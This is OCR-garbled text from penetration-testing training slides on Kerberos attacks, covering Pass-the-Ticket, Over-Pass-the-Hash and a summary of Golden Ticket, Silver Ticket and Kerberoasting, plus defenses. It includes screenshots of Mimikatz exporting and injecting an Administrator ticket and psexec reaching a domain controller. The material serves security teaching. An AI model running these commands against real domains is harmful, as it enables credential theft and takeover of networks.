Start/End/MaxRenew: 10/07/2017 19:35:57 ; 11/07/2017 5:35:57 ; 17/07/2017 19:35:57 relylng on Kerberos. A good example of a
Service Name (©2) : krbtgt ; SECS560.PRIVATE ; @ SECS560.PRIVATE . .
Target Name (@2) : krbtgt ; SEC56@ ; @ SEC56@.PRIVATE tool that su pport Pass-the-Ticket attacks is
Client Name (©1) : Administrator ; @ SECS560.PRIVATE . .
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; MlmlkatZ!
Session Key 0x00000012 - aes256_hmac
0000006006060699000900000900000000009000000000099000000000060600
Ticket : @x00000012 - aes256_hmac ; kvno = © [:a])

In the screenshot on the left, we can see
Mimikatz in use on a compromised machine,

** Session key is NULL! It means allowtgtsessionkey is not set to 1 **

mimikatz # kerberos::list /export

[00060600] - GB00G6612. - aesISE, e where it is attempting to export & store
Start/End/MaxRenew: 10/07/2017 19:35:57 ; 11/07/2017 5:35:57 ; 17/07/2017 19:35:57 . .
Server Name : krbtgt/SEC560.PRIVATE @ SEC560.PRIVATE available tickets.
Client Name : Administrator @ SECS560.PRIVATE
Flags 4@e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
* Saved to file : ©-40e10000-Administrator@krbtgt~SEC56@.PRIVATE-SEC560.PRIVATE.kirbi

mimikatz # exit
Bye!
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Bl Mormallser: SEC360 — | X
mimikatz # kerberos::list A
mimikatz #
mimikatz # kerberos::ptt ©-49e10000-Administrator@krbtgt~SECS60.PRIVATE-SECS68,PRIVATE. kirbi
@ - File '©-40e10000-Administrator@krbtgt~SECS60.PRIVATE-SECS60.PRIVATE. kirbi' : OK
mimikatz # kerberos::list
BEX Mormallser SEC560 — O >
[eoB8000B] - OxBBBBED12 - aes256 hmac .
Start/End/MaxRenew: 10/87/2017 19:37:31 ; 11/67/2017 5:37:31 ; 17/67/2017 19:37:31 C:\Users\NormalUser\Desktop>psexec \\DC@1 cmd.exe ~
Server Name : krbtgt/SECS66.PRIVATE @ SEC568.PRIVATE
Client Name : Administrator @ SEC568.PRIVATE PsExec v2.2 - Execute processes remotely
Flags 48e16600 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Copyright (C) 2001-2016 Mark Russinovich

.. Sysinternals - www.sysinternals.com
mimikatz #

Microsoft Windows [Version 10.0.17134.765]
{c) 2618 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
sec568.PRIVATE/Administrator

C:\Windows\system32>echo %COMPUTERNAME?
DCB1

After retrieving a TGT, it can be used to authenticate as an
Administrative user.

C:\Windows\system32»
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OVER-PASS-THE-HASH

Works even if NTLM auth is disable everywhere

Active Directory uses the NTLM hash as the key for Kerberos
If we have the hash (or password), we can peform the AS-REQ still (
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OVER-PASS-THE-HASH

~ 1. AS—REQ/_
d44d5e059 | cbOféecb6d6a86ec9al2da

m d44d5e059 1 cb0féecbédba8bec9al2da ¢ /

KDC
The diagram on this slide provides an overview of 3. TGS-REQ /
how Pass-the-Hash (PtH) can still be an issue even if
NTLM is fully disabled in an environment!

4. TGS-REP

— \
ol
-

In this case, we rely on rc4_hmac_md5 as the

Kerberos encryption type and immediately uses the
NTLM hash (which is the Client LT Key), instead of

entering the password! 5. Usage
lllustration inspired by "Abusing Microsoft Kerberos -
Note that this attack would also work with AES! Sorry you guys don't get it," Benjamin Delpy (Blackhat \ Bile
USA 2014)! Server

redsiege.com nviso.eu 52



WRAP-UP

When can we use each attack?
What are the defenses for each?
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® Golden Ticket — Requires full domain compromise. Use for
persistence and pivoting

® Kerberoasting — Requires access as any user. Use to escalate
and pivot

® Silver Ticket — Requires service hash. Use for persistence and
escalation

® Pass-the-Ticket — Requires access as user. Use to pivot

® Over-Pass-the-Hash — Requires access as user. Use to pivot
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RECOMMENDED READING

® https://posts.specterops.io/kerberoasting-revisited-
d434351bd4d1l

® https://github.com/GhostPack/Rubeus
® Anything by Sean Metcalf (adsecurity.org)

® https://adsecurity.org/?p=2293

® https://adsecurity.org/?p=2011
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MONTORING IS KEY

® Golden Ticket — Monitoring and don’t get pwned :) Requires
rotation of krbtgt account password (Be careful).

® Kerberoasting — Monitoring, look for odd or too many ticket
requests

® Use Honey Tickets - https://adsecurity.org/?p=3458

® Silver Ticket — Monitoring, missing TGS-REQ
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Special Thanks to Erik Van Buggenhout and NVISO for portions of some of the slides
@ErikVaBu
evanbuggenhout@nviso.be
@NVISOsecurity
Co-author of SANS 560: Network Penetration Testing and Ethical Hacking
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